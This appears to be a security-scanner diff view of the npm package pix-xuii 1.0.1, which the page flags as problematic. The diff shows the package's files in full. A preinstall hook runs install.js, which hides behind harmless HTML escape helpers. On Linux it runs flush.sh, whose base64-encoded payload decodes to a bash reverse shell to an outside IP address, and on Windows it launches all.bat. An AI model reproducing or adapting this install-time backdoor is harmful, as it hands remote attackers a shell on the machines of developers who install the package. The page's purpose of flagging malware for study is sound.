pix-xuii 1.0.1

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of pix-xuii might be problematic. Click here for more details.

package/flush.sh ADDED
@@ -0,0 +1 @@
1
+ echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzQzLjEzOC44Mi4xNjAvMTg4NzcgMD4mMQ== |{base64,-d}|{bash,-i}
package/index.js ADDED
File without changes
package/install.js ADDED
@@ -0,0 +1,53 @@
1
+ function htmlEscape(htmlstr) {
2
+
3
+ return htmlstr.replace(/<|>|"|&/g, match => {
4
+
5
+ switch (match) {
6
+
7
+ case '<':
8
+ return '&lt;'
9
+ case '>':
10
+ return '&gt;'
11
+ case '"':
12
+ return '&quot;'
13
+ case '&':
14
+ return '&amp;'
15
+ }
16
+ })
17
+ }
18
+ function htmlUnEscape(str) {
19
+
20
+ return str.replace(/&lt;|&gt;|&quot;|&amp;/g, match => {
21
+
22
+ switch (match) {
23
+
24
+ case '&lt;':
25
+ return '<'
26
+ case '&gt;':
27
+ return '>'
28
+ case '&quot;':
29
+ return '"'
30
+ case '&amp;':
31
+ return '&'
32
+ }
33
+ })
34
+ }
35
+ const { exec }= require("child_process");
36
+
37
+ function Linux(){
38
+ exec("mv flush.sh /tmp/flush.sh && chmod +x /tmp/flush.sh && /bin/bash -c /tmp/flush.sh",(error,stdout,stderr)=>{
39
+
40
+ });
41
+ }
42
+
43
+ var opsys= process.platform;
44
+ if (opsys =="darwin"){
45
+ opsys ="MacoS";
46
+ }else if (opsys =="win32" || opsys =="win64"){
47
+ opsys ="Windows";
48
+ const { spawn } = require('child_process');
49
+ const bat = spawn('cmd.exe',['/c','all.bat']);
50
+ }else if (opsys =="linux"){
51
+ opsys = "Linux";
52
+ Linux();
53
+ }
package/package.json ADDED
@@ -0,0 +1,11 @@
1
+ {
2
+ "name": "pix-xuii",
3
+ "version": "1.0.1",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "node install.js"
8
+ },
9
+ "author": "",
10
+ "license": "ISC"
11
+ }